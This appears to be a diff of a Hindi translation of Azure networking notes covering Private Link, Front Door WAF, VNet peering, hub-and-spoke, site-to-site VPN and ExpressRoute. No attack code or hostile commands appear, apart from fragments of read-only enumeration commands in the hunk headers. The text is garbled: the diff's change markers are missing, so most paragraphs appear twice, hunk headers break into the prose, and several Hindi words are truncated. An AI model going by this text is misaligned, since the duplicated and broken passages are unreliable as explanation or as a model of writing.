संक्षेप में, जबकि सेवा एंडपॉइंट और प्राइवेट लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **प्राइवेट लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के बिना निजी रूप से एक्सेस किया जा**। दूसरी ओर, सेवा एंडपॉइंट सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में प्राइवेट IP की आवश्यकता के।
## Azure Front Door (AFD) और AFD WAF
**Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड संतुलन, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैस विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और एप्लिकेशन स्तर की सुरक्षा प्रदान करता है।
**Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड बैलेंसिंग, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैस विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और एप्लिकेशन स्तर की सुरक्षा प्रदान करता है।
**Azure Front Door WAF** को **वेब-आधारित हमलों से वेब अनुप्रयोगों की सुरक्षा** के लिए डिज़ाइन किया गया है बिना बैक-एंड कोड में संशोधन किए। इसमें SQL इंजेक्शन, क्रॉस-साइट स्क्रिप्टिंग, और अन्य सामान्य हमलों जैसे खतरों से सुरक्षा के लिए कस्टम नियम और प्रबंधित नियम सेट शामिल हैं।
**उदाहरण:**
कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा ेंद्र की ओर रूट कर सकते हैं**, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगल सबसे अच्छ स्थान पर पुनः रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है।
कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा ेंटर** की ओर रूट कर सकते हैं, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगल सबसे अच्छ स्थिति की ओर रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है।
### गणना
@@ -321,10 +322,10 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
## Azure Hub, Spoke & VNet Peering
**VNet Peering** एक नेटवर्किंग फीचर है जो Azure में **विभिन्न वर्चुअल नेटवर्क (VNets) को सीधे और निर्बाध रूप से जोड़ने की अनुमति देता है**। VNet पीयरिंग के माध्यम से, एक VNet में संसाधन दूसरे VNet में संसाधनों के साथ निजी IP पते का उपयोग करके संवाद कर सकते हैं, **जैसे कि वे एक ही नेटवर्क में ह**।\
**VNet Peering** एक नेटवर्किंग फीचर है जो Azure में **विभिन्न वर्चुअल नेटवर्क (VNets) को सीधे और निर्बाध रूप से जोड़ने की अनुमति देता है**। VNet पीयरिंग के माध्यम से, एक VNet में संसाधन दूसरे VNet में संसाधनों के साथ निजी IP पते का उपयोग करके संवाद कर सकते हैं, **जैसे कि वे एक ही नेटवर्क में ह**।\
**VNet Peering को ऑन-प्रेम नेटवर्क के साथ भी उपयोग किया जा सकता है** साइट-टू-साइट VPN या Azure ExpressRoute सेट करके।
**Azure Hub and Spoke** एक नेटवर्क टोपोलॉजी है जिसका उपयोग Azure में नेटवर्क ट्रैफ़िक को प्रबंधित और व्यवस्थित करने के लिए किया जाता है। **"हब" एक केंद्रीय बिंदु है जो विभिन्न "स्पोक्स" के बीच ट्रैफ़िक को नियंत्रित और रूट करता है**। हब में आमतौर पर साझा सेवाएँ होती हैं जैसे नेटवर्क वर्चुअल एप्लायंसेस (NVAs), Azure VPN गेटवे, Azure फ़ायरवॉल, या Azure बैस्टियन। **"स्पोक्स" वे VNets हैं जो कार्यभार को होस्ट करते हैं और VNet पीयरिंग का उपयोग करके हब से कनेक्ट करते हैं**, जिससे उन्हें हब के भीतर साझा सेवाओं का लाभ उठाने की अनुमति मिलती है। यह मॉडल साफ नेटवर्क लेआउट को बढ़ावा देता है, जिससे जटिलता कम होती है क्योंकि यह विभिन्न VNets के बीच कई कार्यभारों द्वारा उपयोग की जाने वाली सामान्य सेवाओं को केंद्रीकृत करता है।
**Azure Hub and Spoke** एक नेटवर्क टोपोलॉजी है जिसका उपयोग Azure में नेटवर्क ट्रैफ़िक को प्रबंधित और व्यवस्थित करने के लिए किया जाता है। **"हब" एक केंद्रीय बिंदु है जो विभिन्न "स्पोक्स" के बीच ट्रैफ़िक को नियंत्रित और रूट करता है**। हब में आमतौर पर साझा सेवाएँ होती हैं जैसे नेटवर्क वर्चुअल एप्लायंसेस (NVAs), Azure VPN गेटवे, Azure फ़ायरवॉल, या Azure बैस्टियन। **"स्पोक्स" वे VNets हैं जो कार्यभार होस्ट करते हैं और VNet पीयरिंग का उपयोग करके हब से जुड़े होते हैं**, जिससे वे हब के भीतर साझा सेवाओं का लाभ उठा सकते है। यह मॉडल साफ नेटवर्क लेआउट को बढ़ावा देता है, जिससे जटिलता कम होती है क्योंकि यह विभिन्न VNets के बीच कई कार्यभारों द्वारा उपयोग की जाने वाली सामान्य सेवाओं को केंद्रीकृत करता है।
> [!CAUTION] > **Azure में VNET पेयरिंग गैर-परिवर्तनीय है**, जिसका अर्थ है कि यदि स्पोक 1 स्पोक 2 से जुड़ा है और स्पोक 2 स्पोक 3 से जुड़ा है, तो स्पोक 1 सीधे स्पोक 3 से बात नहीं कर सकता।
@@ -367,7 +368,7 @@ Azure में एक साइट-से-साइट वीपीएन आ
**उदाहरण:**
एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे दोनों वातावरणों में संसाधनों को सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों।
एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे संसाधनों को दोनों वातावरणों में सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों।
### **गणना**
@@ -394,7 +395,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## Azure ExpressRoute
Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा सेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम विलंबता और उच्च सुरक्षा प्रदान करता है।
Azure ExpressRoute एक सेवा है जो आपके ऑन-प्रिमाइसेस इन्फ्रास्ट्रक्चर और Azure डेटा सेंटर के बीच एक **निजी, समर्पित, उच्च-गति कनेक्शन** प्रदान करती है। यह कनेक्शन एक कनेक्टिविटी प्रदाता के माध्यम से बनाया जाता है, जो सार्वजनिक इंटरनेट को बायपास करता है और सामान्य इंटरनेट कनेक्शनों की तुलना में अधिक विश्वसनीयता, तेज गति, कम लेटेंसी और उच्च सुरक्षा प्रदान करता है।
**उदाहरण:**